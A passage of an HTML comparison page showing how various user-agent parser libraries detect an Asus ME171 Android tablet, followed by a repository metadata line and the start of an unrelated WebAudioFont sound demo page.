[mobile_screen_height] => 480
[is_mobile] => 1
[type] => mobile-browser
[mobile_brand] => Generic
[mobile_model] => Android 4.0
[version] => 4.0
[is_android] => 1
[browser_name] => Android Webkit
[operating_system_family] => Android
[operating_system_version] => 4.0.3
[is_ios] =>
[producer] => Google Inc.
[operating_system] => Android 4.0.x Ice Cream Sandwich
[mobile_screen_width] => 320
[mobile_browser] => Android Webkit
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>PiwikDeviceDetector<br /><small>3.5.2</small></td><td>Android Browser </td><td>WebKit </td><td>Android 4.0</td><td style="border-left: 1px solid #555">Asus</td><td>Eee Pad MeMO 171</td><td>tablet</td><td>yes</td><td></td><td style="border-left: 1px solid #555"></td><td></td><td></td><td>0.004</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-21638055-738d-46ba-a1b1-f5114bc26475">Detail</a>
<!-- Modal Structure -->
<div id="modal-21638055-738d-46ba-a1b1-f5114bc26475" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>PiwikDeviceDetector result detail</h4>
<p><pre><code class="php">Array
(
[client] => Array
(
[type] => browser
[name] => Android Browser
[short_name] => AN
[version] =>
[engine] => WebKit
)
[operatingSystem] => Array
(
[name] => Android
[short_name] => AND
[version] => 4.0
[platform] =>
)
[device] => Array
(
[brand] => AU
[brandName] => Asus
[model] => Eee Pad MeMO 171
[device] => 2
[deviceName] => tablet
)
[bot] =>
[extra] => Array
(
[isBot] =>
[isBrowser] => 1
[isFeedReader] =>
[isMobileApp] =>
[isPIM] =>
[isLibrary] =>
[isMediaPlayer] =>
[isCamera] =>
[isCarBrowser] =>
[isConsole] =>
[isFeaturePhone] =>
[isPhablet] =>
[isPortableMediaPlayer] =>
[isSmartDisplay] =>
[isSmartphone] =>
[isTablet] => 1
[isTV] =>
[isDesktop] =>
[isMobile] => 1
[isTouchEnabled] =>
)
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>SinergiBrowserDetector<br /><small>6.0.0</small></td><td>Navigator 4.0</td><td><i class="material-icons">close</i></td><td>Android 4.0.3</td><td style="border-left: 1px solid #555"><i class="material-icons">close</i></td><td></td><td><i class="material-icons">close</i></td><td>yes</td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td>0.001</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-5415e7f2-ef7b-434c-abe0-b71ba9f6707c">Detail</a>
<!-- Modal Structure -->
<div id="modal-5415e7f2-ef7b-434c-abe0-b71ba9f6707c" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>SinergiBrowserDetector result detail</h4>
<p><pre><code class="php">Array
(
[browser] => Sinergi\BrowserDetector\Browser Object
(
[userAgent:Sinergi\BrowserDetector\Browser:private] => Sinergi\BrowserDetector\UserAgent Object
(
[userAgentString:Sinergi\BrowserDetector\UserAgent:private] => Mozilla/5.0 (Linux; U; Android 4.0.3; zh-tw; ME171 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
)
[name:Sinergi\BrowserDetector\Browser:private] => Navigator
[version:Sinergi\BrowserDetector\Browser:private] => 4.0
[isRobot:Sinergi\BrowserDetector\Browser:private] =>
[isChromeFrame:Sinergi\BrowserDetector\Browser:private] =>
)
[operatingSystem] => Sinergi\BrowserDetector\Os Object
(
[name:Sinergi\BrowserDetector\Os:private] => Android
[version:Sinergi\BrowserDetector\Os:private] => 4.0.3
[isMobile:Sinergi\BrowserDetector\Os:private] => 1
[userAgent:Sinergi\BrowserDetector\Os:private] => Sinergi\BrowserDetector\UserAgent Object
(
[userAgentString:Sinergi\BrowserDetector\UserAgent:private] => Mozilla/5.0 (Linux; U; Android 4.0.3; zh-tw; ME171 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
)
)
[device] => Sinergi\BrowserDetector\Device Object
(
[name:Sinergi\BrowserDetector\Device:private] => unknown
[userAgent:Sinergi\BrowserDetector\Device:private] => Sinergi\BrowserDetector\UserAgent Object
(
[userAgentString:Sinergi\BrowserDetector\UserAgent:private] => Mozilla/5.0 (Linux; U; Android 4.0.3; zh-tw; ME171 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
)
)
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>UAParser<br /><small>v3.4.5</small></td><td>Android 4.0.3</td><td><i class="material-icons">close</i></td><td>Android 4.0.3</td><td style="border-left: 1px solid #555">Asus</td><td>ME171</td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"></td><td></td><td><i class="material-icons">close</i></td><td>0.001</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-346c1a98-5fd3-454f-b6c8-350f2f505d8b">Detail</a>
<!-- Modal Structure -->
<div id="modal-346c1a98-5fd3-454f-b6c8-350f2f505d8b" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>UAParser result detail</h4>
<p><pre><code class="php">UAParser\Result\Client Object
(
[ua] => UAParser\Result\UserAgent Object
(
[major] => 4
[minor] => 0
[patch] => 3
[family] => Android
)
[os] => UAParser\Result\OperatingSystem Object
(
[major] => 4
[minor] => 0
[patch] => 3
[patchMinor] =>
[family] => Android
)
[device] => UAParser\Result\Device Object
(
[brand] => Asus
[model] => ME171
[family] => Asus ME171
)
[originalUserAgent] => Mozilla/5.0 (Linux; U; Android 4.0.3; zh-tw; ME171 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>UserAgentStringCom<br /><small></small></td><td>Android Webkit Browser </td><td><i class="material-icons">close</i></td><td>Android 4.0.3</td><td style="border-left: 1px solid #555"><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"></td><td></td><td></td><td>0.047</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-9cdd8b45-a2eb-406b-bd27-7e48af38ffd4">Detail</a>
<!-- Modal Structure -->
<div id="modal-9cdd8b45-a2eb-406b-bd27-7e48af38ffd4" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>UserAgentStringCom result detail</h4>
<p><pre><code class="php">stdClass Object
(
[agent_type] => Browser
[agent_name] => Android Webkit Browser
[agent_version] => --
[os_type] => Android
[os_name] => Android
[os_versionName] =>
[os_versionNumber] => 4.0.3
[os_producer] =>
[os_producerURL] =>
[linux_distibution] => Null
[agent_language] => Chinese - Taiwan
[agent_languageTag] => zh-tw
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>WhatIsMyBrowserCom<br /><small></small></td><td>Android Browser 4.0</td><td>WebKit 534.30</td><td>Android 4.0.3</td><td style="border-left: 1px solid #555"></td><td></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td>0.421</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-9795f66f-7271-430e-973a-a5c0e14dc35a">Detail</a>
<!-- Modal Structure -->
<div id="modal-9795f66f-7271-430e-973a-a5c0e14dc35a" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>WhatIsMyBrowserCom result detail</h4>
<p><pre><code class="php">stdClass Object
(
[operating_system_name] => Android
[simple_sub_description_string] =>
[simple_browser_string] => Android Browser 4 on Android (Ice Cream Sandwich)
[browser_version] => 4
[extra_info] => Array
(
)
[operating_platform] =>
[extra_info_table] => stdClass Object
(
[System Build] => IML74K
)
[layout_engine_name] => WebKit
[detected_addons] => Array
(
)
[operating_system_flavour_code] =>
[hardware_architecture] =>
[operating_system_flavour] =>
[operating_system_frameworks] => Array
(
)
[browser_name_code] => android-browser
[operating_system_version] => Ice Cream Sandwich
[simple_operating_platform_string] =>
[is_abusive] =>
[layout_engine_version] => 534.30
[browser_capabilities] => Array
(
)
[operating_platform_vendor_name] =>
[operating_system] => Android (Ice Cream Sandwich)
[operating_system_version_full] => 4.0.3
[operating_platform_code] =>
[browser_name] => Android Browser
[operating_system_name_code] => android
[user_agent] => Mozilla/5.0 (Linux; U; Android 4.0.3; zh-tw; ME171 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
[browser_version_full] => 4.0
[browser] => Android Browser 4
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>WhichBrowser<br /><small>2.0.10</small></td><td>Android Browser </td><td>Webkit 534.30</td><td>Android 4.0.3</td><td style="border-left: 1px solid #555">Asus</td><td>Eee Pad MeMO</td><td>tablet</td><td>yes</td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"></td><td></td><td><i class="material-icons">close</i></td><td>0.008</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-342c8d32-4765-40a8-8a5c-af3a38d19ae4">Detail</a>
<!-- Modal Structure -->
<div id="modal-342c8d32-4765-40a8-8a5c-af3a38d19ae4" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>WhichBrowser result detail</h4>
<p><pre><code class="php">Array
(
[browser] => Array
(
[name] => Android Browser
)
[engine] => Array
(
[name] => Webkit
[version] => 534.30
)
[os] => Array
(
[name] => Android
[version] => 4.0.3
)
[device] => Array
(
[type] => tablet
[manufacturer] => Asus
[model] => Eee Pad MeMO
)
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>Woothee<br /><small>v1.2.0</small></td><td>Safari 4.0</td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td>smartphone</td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"></td><td></td><td><i class="material-icons">close</i></td><td>0</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-3f285ff5-314b-4db4-9948-54572e92e7b6">Detail</a>
<!-- Modal Structure -->
<div id="modal-3f285ff5-314b-4db4-9948-54572e92e7b6" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>Woothee result detail</h4>
<p><pre><code class="php">Array
(
[name] => Safari
[vendor] => Apple
[version] => 4.0
[category] => smartphone
[os] => Android
[os_version] => 4.0.3
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>Wurfl<br /><small>1.6.4</small></td><td>Android Webkit 4.0</td><td><i class="material-icons">close</i></td><td>Android 4.0</td><td style="border-left: 1px solid #555"></td><td></td><td>Tablet</td><td>yes</td><td>yes</td><td style="border-left: 1px solid #555"></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td>0.13004</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-1a1aee36-7ce7-4111-a391-8e2c501f1532">Detail</a>
<!-- Modal Structure -->
<div id="modal-1a1aee36-7ce7-4111-a391-8e2c501f1532" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>Wurfl result detail</h4>
<p><pre><code class="php">Array
(
[virtual] => Array
(
[is_android] => true
[is_ios] => false
[is_windows_phone] => false
[is_app] => false
[is_full_desktop] => false
[is_largescreen] => true
[is_mobile] => true
[is_robot] => false
[is_smartphone] => false
[is_touchscreen] => true
[is_wml_preferred] => false
[is_xhtmlmp_preferred] => false
[is_html_preferred] => true
[advertised_device_os] => Android
[advertised_device_os_version] => 4.0
[advertised_browser] => Android Webkit
[advertised_browser_version] => 4.0
[complete_device_name] => Generic Android 4 Tablet
[form_factor] => Tablet
[is_phone] => false
[is_app_webview] => false
)
[all] => Array
(
[brand_name] => Generic
[model_name] => Android 4 Tablet
[unique] => true
[ununiqueness_handler] =>
[is_wireless_device] => true
[device_claims_web_support] => true
[has_qwerty_keyboard] => true
[can_skip_aligned_link_row] => true
[uaprof] =>
[uaprof2] =>
[uaprof3] =>
[nokia_series] => 0
[nokia_edition] => 0
[device_os] => Android
[mobile_browser] => Android Webkit
[mobile_browser_version] =>
[device_os_version] => 4.0
[pointing_method] => touchscreen
[release_date] => 2012_january
[marketing_name] =>
[model_extra_info] =>
[nokia_feature_pack] => 0
[can_assign_phone_number] => false
[is_tablet] => true
[manufacturer_name] =>
[is_bot] => false
[is_google_glass] => false
[proportional_font] => false
[built_in_back_button_support] => false
[card_title_support] => true
[softkey_support] => false
[table_support] => true
[numbered_menus] => false
[menu_with_select_element_recommended] => false
[menu_with_list_of_links_recommended] => true
[icons_on_menu_items_support] => false
[break_list_of_links_with_br_element_recommended] => true
[access_key_support] => false
[wrap_mode_support] => false
[times_square_mode_support] => false
[deck_prefetch_support] => false
[elective_forms_recommended] => true
[wizards_recommended] => false
[image_as_link_support] => false
[insert_br_element_after_widget_recommended] => false
[wml_can_display_images_and_text_on_same_line] => false
[wml_displays_image_in_center] => false
[opwv_wml_extensions_support] => false
[wml_make_phone_call_string] => wtai://wp/mc;
[chtml_display_accesskey] => false
[emoji] => false
[chtml_can_display_images_and_text_on_same_line] => false
[chtml_displays_image_in_center] => false
[imode_region] => none
[chtml_make_phone_call_string] => tel:
[chtml_table_support] => false
[xhtml_honors_bgcolor] => true
[xhtml_supports_forms_in_table] => true
[xhtml_support_wml2_namespace] => false
[xhtml_autoexpand_select] => false
[xhtml_select_as_dropdown] => false
[xhtml_select_as_radiobutton] => false
[xhtml_select_as_popup] => false
[xhtml_display_accesskey] => false
[xhtml_supports_invisible_text] => false
[xhtml_supports_inline_input] => false
[xhtml_supports_monospace_font] => false
[xhtml_supports_table_for_layout] => true
[xhtml_supports_css_cell_table_coloring] => true
[xhtml_format_as_css_property] => false
[xhtml_format_as_attribute] => false
[xhtml_nowrap_mode] => false
[xhtml_marquee_as_css_property] => false
[xhtml_readable_background_color1] => #FFFFFF
[xhtml_readable_background_color2] => #FFFFFF
[xhtml_allows_disabled_form_elements] => true
[xhtml_document_title_support] => true
[xhtml_preferred_charset] => iso-8859-1
[opwv_xhtml_extensions_support] => false
[xhtml_make_phone_call_string] => tel:
[xhtmlmp_preferred_mime_type] => text/html
[xhtml_table_support] => true
[xhtml_send_sms_string] => sms:
[xhtml_send_mms_string] => mms:
[xhtml_file_upload] => supported
[cookie_support] => true
[accept_third_party_cookie] => true
[xhtml_supports_iframe] => full
[xhtml_avoid_accesskeys] => true
[xhtml_can_embed_video] => none
[ajax_support_javascript] => true
[ajax_manipulate_css] => true
[ajax_support_getelementbyid] => true
[ajax_support_inner_html] => true
[ajax_xhr_type] => standard
[ajax_manipulate_dom] => true
[ajax_support_events] => true
[ajax_support_event_listener] => true
[ajax_preferred_geoloc_api] => w3c_api
[xhtml_support_level] => 4
[preferred_markup] => html_web_4_0
[wml_1_1] => false
[wml_1_2] => false
[wml_1_3] => false
[html_wi_w3_xhtmlbasic] => true
[html_wi_oma_xhtmlmp_1_0] => true
[html_wi_imode_html_1] => false
[html_wi_imode_html_2] => false
[html_wi_imode_html_3] => false
[html_wi_imode_html_4] => false
[html_wi_imode_html_5] => false
[html_wi_imode_htmlx_1] => false
[html_wi_imode_htmlx_1_1] => false
[html_wi_imode_compact_generic] => false
[html_web_3_2] => true
[html_web_4_0] => true
[voicexml] => false
[multipart_support] => false
[total_cache_disable_support] => false
[time_to_live_support] => false
[resolution_width] => 480
[resolution_height] => 800
[columns] => 60
[max_image_width] => 480
[max_image_height] => 800
[rows] => 40
[physical_screen_width] => 92
[physical_screen_height] => 153
[dual_orientation] => true
[density_class] => 1.0
[wbmp] => true
[bmp] => false
[epoc_bmp] => false
[gif_animated] => false
[jpg] => true
[png] => true
[tiff] => false
[transparent_png_alpha] => true
[transparent_png_index] => true
[svgt_1_1] => true
[svgt_1_1_plus] => false
[greyscale] => false
[gif] => true
[colors] => 65536
[webp_lossy_support] => true
[webp_lossless_support] => false
[post_method_support] => true
[basic_authentication_support] => true
[empty_option_value_support] => true
[emptyok] => false
[nokia_voice_call] => false
[wta_voice_call] => false
[wta_phonebook] => false
[wta_misc] => false
[wta_pdc] => false
[https_support] => true
[phone_id_provided] => false
[max_data_rate] => 3600
[wifi] => true
[sdio] => false
[vpn] => false
[has_cellular_radio] => true
[max_deck_size] => 2000000
[max_url_length_in_requests] => 256
[max_url_length_homepage] => 0
[max_url_length_bookmark] => 0
[max_url_length_cached_page] => 0
[max_no_of_connection_settings] => 0
[max_no_of_bookmarks] => 0
[max_length_of_username] => 0
[max_length_of_password] => 0
[max_object_size] => 0
[downloadfun_support] => false
[directdownload_support] => true
[inline_support] => false
[oma_support] => true
[ringtone] => false
[ringtone_3gpp] => false
[ringtone_midi_monophonic] => false
[ringtone_midi_polyphonic] => false
[ringtone_imelody] => false
[ringtone_digiplug] => false
[ringtone_compactmidi] => false
[ringtone_mmf] => false
[ringtone_rmf] => false
[ringtone_xmf] => false
[ringtone_amr] => false
[ringtone_awb] => false
[ringtone_aac] => false
[ringtone_wav] => false
[ringtone_mp3] => false
[ringtone_spmidi] => false
[ringtone_qcelp] => false
[ringtone_voices] => 1
[ringtone_df_size_limit] => 0
[ringtone_directdownload_size_limit] => 0
[ringtone_inline_size_limit] => 0
[ringtone_oma_size_limit] => 0
[wallpaper] => false
[wallpaper_max_width] => 0
[wallpaper_max_height] => 0
[wallpaper_preferred_width] => 0
[wallpaper_preferred_height] => 0
[wallpaper_resize] => none
[wallpaper_wbmp] => false
[wallpaper_bmp] => false
[wallpaper_gif] => false
[wallpaper_jpg] => false
[wallpaper_png] => false
[wallpaper_tiff] => false
[wallpaper_greyscale] => false
[wallpaper_colors] => 2
[wallpaper_df_size_limit] => 0
[wallpaper_directdownload_size_limit] => 0
[wallpaper_inline_size_limit] => 0
[wallpaper_oma_size_limit] => 0
[screensaver] => false
[screensaver_max_width] => 0
[screensaver_max_height] => 0
[screensaver_preferred_width] => 0
[screensaver_preferred_height] => 0
[screensaver_resize] => none
[screensaver_wbmp] => false
[screensaver_bmp] => false
[screensaver_gif] => false
[screensaver_jpg] => false
[screensaver_png] => false
[screensaver_greyscale] => false
[screensaver_colors] => 2
[screensaver_df_size_limit] => 0
[screensaver_directdownload_size_limit] => 0
[screensaver_inline_size_limit] => 0
[screensaver_oma_size_limit] => 0
[picture] => false
[picture_max_width] => 0
[picture_max_height] => 0
[picture_preferred_width] => 0
[picture_preferred_height] => 0
[picture_resize] => none
[picture_wbmp] => false
[picture_bmp] => false
[picture_gif] => false
[picture_jpg] => false
[picture_png] => false
[picture_greyscale] => false
[picture_colors] => 2
[picture_df_size_limit] => 0
[picture_directdownload_size_limit] => 0
[picture_inline_size_limit] => 0
[picture_oma_size_limit] => 0
[video] => false
[oma_v_1_0_forwardlock] => false
[oma_v_1_0_combined_delivery] => false
[oma_v_1_0_separate_delivery] => false
[streaming_video] => true
[streaming_3gpp] => true
[streaming_mp4] => true
[streaming_mov] => false
[streaming_video_size_limit] => 0
[streaming_real_media] => none
[streaming_flv] => false
[streaming_3g2] => false
[streaming_vcodec_h263_0] => 10
[streaming_vcodec_h263_3] => -1
[streaming_vcodec_mpeg4_sp] => 2
[streaming_vcodec_mpeg4_asp] => -1
[streaming_vcodec_h264_bp] => 3.0
[streaming_acodec_amr] => nb
[streaming_acodec_aac] => lc
[streaming_wmv] => none
[streaming_preferred_protocol] => rtsp
[streaming_preferred_http_protocol] => apple_live_streaming
[wap_push_support] => false
[connectionless_service_indication] => false
[connectionless_service_load] => false
[connectionless_cache_operation] => false
[connectionoriented_unconfirmed_service_indication] => false
[connectionoriented_unconfirmed_service_load] => false
[connectionoriented_unconfirmed_cache_operation] => false
[connectionoriented_confirmed_service_indication] => false
[connectionoriented_confirmed_service_load] => false
[connectionoriented_confirmed_cache_operation] => false
[utf8_support] => true
[ascii_support] => false
[iso8859_support] => false
[expiration_date] => false
[j2me_cldc_1_0] => false
[j2me_cldc_1_1] => false
[j2me_midp_1_0] => false
[j2me_midp_2_0] => false
[doja_1_0] => false
[doja_1_5] => false
[doja_2_0] => false
[doja_2_1] => false
[doja_2_2] => false
[doja_3_0] => false
[doja_3_5] => false
[doja_4_0] => false
[j2me_jtwi] => false
[j2me_mmapi_1_0] => false
[j2me_mmapi_1_1] => false
[j2me_wmapi_1_0] => false
[j2me_wmapi_1_1] => false
[j2me_wmapi_2_0] => false
[j2me_btapi] => false
[j2me_3dapi] => false
[j2me_locapi] => false
[j2me_nokia_ui] => false
[j2me_motorola_lwt] => false
[j2me_siemens_color_game] => false
[j2me_siemens_extension] => false
[j2me_heap_size] => 0
[j2me_max_jar_size] => 0
[j2me_storage_size] => 0
[j2me_max_record_store_size] => 0
[j2me_screen_width] => 0
[j2me_screen_height] => 0
[j2me_canvas_width] => 0
[j2me_canvas_height] => 0
[j2me_bits_per_pixel] => 0
[j2me_audio_capture_enabled] => false
[j2me_video_capture_enabled] => false
[j2me_photo_capture_enabled] => false
[j2me_capture_image_formats] => none
[j2me_http] => false
[j2me_https] => false
[j2me_socket] => false
[j2me_udp] => false
[j2me_serial] => false
[j2me_gif] => false
[j2me_gif89a] => false
[j2me_jpg] => false
[j2me_png] => false
[j2me_bmp] => false
[j2me_bmp3] => false
[j2me_wbmp] => false
[j2me_midi] => false
[j2me_wav] => false
[j2me_amr] => false
[j2me_mp3] => false
[j2me_mp4] => false
[j2me_imelody] => false
[j2me_rmf] => false
[j2me_au] => false
[j2me_aac] => false
[j2me_realaudio] => false
[j2me_xmf] => false
[j2me_wma] => false
[j2me_3gpp] => false
[j2me_h263] => false
[j2me_svgt] => false
[j2me_mpeg4] => false
[j2me_realvideo] => false
[j2me_real8] => false
[j2me_realmedia] => false
[j2me_left_softkey_code] => 0
[j2me_right_softkey_code] => 0
[j2me_middle_softkey_code] => 0
[j2me_select_key_code] => 0
[j2me_return_key_code] => 0
[j2me_clear_key_code] => 0
[j2me_datefield_no_accepts_null_date] => false
[j2me_datefield_broken] => false
[receiver] => false
[sender] => false
[mms_max_size] => 0
[mms_max_height] => 0
[mms_max_width] => 0
[built_in_recorder] => false
[built_in_camera] => true
[mms_jpeg_baseline] => false
[mms_jpeg_progressive] => false
[mms_gif_static] => false
[mms_gif_animated] => false
[mms_png] => false
[mms_bmp] => false
[mms_wbmp] => false
[mms_amr] => false
[mms_wav] => false
[mms_midi_monophonic] => false
[mms_midi_polyphonic] => false
[mms_midi_polyphonic_voices] => 0
[mms_spmidi] => false
[mms_mmf] => false
[mms_mp3] => false
[mms_evrc] => false
[mms_qcelp] => false
[mms_ota_bitmap] => false
[mms_nokia_wallpaper] => false
[mms_nokia_operatorlogo] => false
[mms_nokia_3dscreensaver] => false
[mms_nokia_ringingtone] => false
[mms_rmf] => false
[mms_xmf] => false
[mms_symbian_install] => false
[mms_jar] => false
[mms_jad] => false
[mms_vcard] => false
[mms_vcalendar] => false
[mms_wml] => false
[mms_wbxml] => false
[mms_wmlc] => false
[mms_video] => false
[mms_mp4] => false
[mms_3gpp] => false
[mms_3gpp2] => false
[mms_max_frame_rate] => 0
[nokiaring] => false
[picturemessage] => false
[operatorlogo] => false
[largeoperatorlogo] => false
[callericon] => false
[nokiavcard] => false
[nokiavcal] => false
[sckl_ringtone] => false
[sckl_operatorlogo] => false
[sckl_groupgraphic] => false
[sckl_vcard] => false
[sckl_vcalendar] => false
[text_imelody] => false
[ems] => false
[ems_variablesizedpictures] => false
[ems_imelody] => false
[ems_odi] => false
[ems_upi] => false
[ems_version] => 0
[siemens_ota] => false
[siemens_logo_width] => 101
[siemens_logo_height] => 29
[siemens_screensaver_width] => 101
[siemens_screensaver_height] => 50
[gprtf] => false
[sagem_v1] => false
[sagem_v2] => false
[panasonic] => false
[sms_enabled] => true
[wav] => false
[mmf] => false
[smf] => false
[mld] => false
[midi_monophonic] => false
[midi_polyphonic] => false
[sp_midi] => false
[rmf] => false
[xmf] => false
[compactmidi] => false
[digiplug] => false
[nokia_ringtone] => false
[imelody] => false
[au] => false
[amr] => false
[awb] => false
[aac] => true
[mp3] => true
[voices] => 1
[qcelp] => false
[evrc] => false
[flash_lite_version] =>
[fl_wallpaper] => false
[fl_screensaver] => false
[fl_standalone] => false
[fl_browser] => false
[fl_sub_lcd] => false
[full_flash_support] => true
[css_supports_width_as_percentage] => true
[css_border_image] => webkit
[css_rounded_corners] => webkit
[css_gradient] => none
[css_spriting] => true
[css_gradient_linear] => none
[is_transcoder] => false
[transcoder_ua_header] => user-agent
[rss_support] => false
[pdf_support] => true
[progressive_download] => true
[playback_vcodec_h263_0] => 10
[playback_vcodec_h263_3] => -1
[playback_vcodec_mpeg4_sp] => 0
[playback_vcodec_mpeg4_asp] => -1
[playback_vcodec_h264_bp] => 3.0
[playback_real_media] => none
[playback_3gpp] => true
[playback_3g2] => false
[playback_mp4] => true
[playback_mov] => false
[playback_acodec_amr] => nb
[playback_acodec_aac] => none
[playback_df_size_limit] => 0
[playback_directdownload_size_limit] => 0
[playback_inline_size_limit] => 0
[playback_oma_size_limit] => 0
[playback_acodec_qcelp] => false
[playback_wmv] => none
[hinted_progressive_download] => true
[html_preferred_dtd] => html4
[viewport_supported] => true
[viewport_width] => device_width_token
[viewport_userscalable] => no
[viewport_initial_scale] =>
[viewport_maximum_scale] =>
[viewport_minimum_scale] =>
[mobileoptimized] => false
[handheldfriendly] => false
[canvas_support] => full
[image_inlining] => true
[is_smarttv] => false
[is_console] => false
[nfc_support] => false
[ux_full_desktop] => false
[jqm_grade] => A
[is_sencha_touch_ok] => false
[controlcap_is_smartphone] => default
[controlcap_is_ios] => default
[controlcap_is_android] => default
[controlcap_is_robot] => default
[controlcap_is_app] => default
[controlcap_advertised_device_os] => default
[controlcap_advertised_device_os_version] => default
[controlcap_advertised_browser] => default
[controlcap_advertised_browser_version] => default
[controlcap_is_windows_phone] => default
[controlcap_is_full_desktop] => default
[controlcap_is_largescreen] => default
[controlcap_is_mobile] => default
[controlcap_is_touchscreen] => default
[controlcap_is_wml_preferred] => default
[controlcap_is_xhtmlmp_preferred] => default
[controlcap_is_html_preferred] => default
[controlcap_form_factor] => default
[controlcap_complete_device_name] => default
)
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr></table>
</div>
<div class="section">
<h1 class="header center orange-text">About this comparison</h1>
<div class="row center">
<h5 class="header light">
The primary goal of this project is simple<br />
I wanted to know which user agent parser is the most accurate in each part - device detection, bot detection and so on...<br />
<br />
The secondary goal is to provide a source for all user agent parsers to improve their detection based on this results.<br />
<br />
You can also improve this further, by suggesting ideas at <a href="https://github.com/ThaDafinser/UserAgentParserComparison">ThaDafinser/UserAgentParserComparison</a><br />
<br />
The comparison is based on the abstraction by <a href="https://github.com/ThaDafinser/UserAgentParser">ThaDafinser/UserAgentParser</a>
</h5>
</div>
</div>
<div class="card">
<div class="card-content">
Comparison created <i>2016-02-13 13:41:35</i> | by
<a href="https://github.com/ThaDafinser">ThaDafinser</a>
</div>
</div>
</div>
<script src="https://code.jquery.com/jquery-2.1.4.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/js/materialize.min.js"></script>
<script src="http://cdnjs.cloudflare.com/ajax/libs/list.js/1.1.1/list.min.js"></script>
<script>
$(document).ready(function(){
// the "href" attribute of .modal-trigger must specify the modal ID that wants to be triggered
$('.modal-trigger').leanModal();
});
</script>
</body>
</html> | ThaDafinser/UserAgentParserComparison | v4/user-agent-detail/e6/ea/e6eaf7e7-11e5-4133-96e9-37b82f74ebf9.html | HTML | mit | 46,902 |
<html>
<head>
<script src='https://surikov.github.io/webaudiofont/npm/dist/WebAudioFontPlayer.js'></script>
<script src='0410_Aspirin_sf2_file.js'></script>
<script>
var selectedPreset=_tone_0410_Aspirin_sf2_file;
var AudioContextFunc = window.AudioContext || window.webkitAudioContext;
var audioContext = new AudioContextFunc();
var player=new WebAudioFontPlayer();
player.adjustPreset(audioContext,selectedPreset);
function startWaveTableNow(pitch) {
var audioBufferSourceNode = player.queueWaveTable(audioContext, audioContext.destination, selectedPreset, audioContext.currentTime + 0, pitch, 0.4);
var audioBufferSourceNode = player.queueWaveTable(audioContext, audioContext.destination, selectedPreset, audioContext.currentTime + 0.4, pitch, 0.2);
var audioBufferSourceNode = player.queueWaveTable(audioContext, audioContext.destination, selectedPreset, audioContext.currentTime + 0.6, pitch, 0.2);
var audioBufferSourceNode = player.queueWaveTable(audioContext, audioContext.destination, selectedPreset, audioContext.currentTime + 0.8, pitch, 4);
}
</script>
</head>
<body>
<p>file: 0410_Aspirin_sf2_file.js<br/>
variable: _tone_0410_Aspirin_sf2_file<br/>
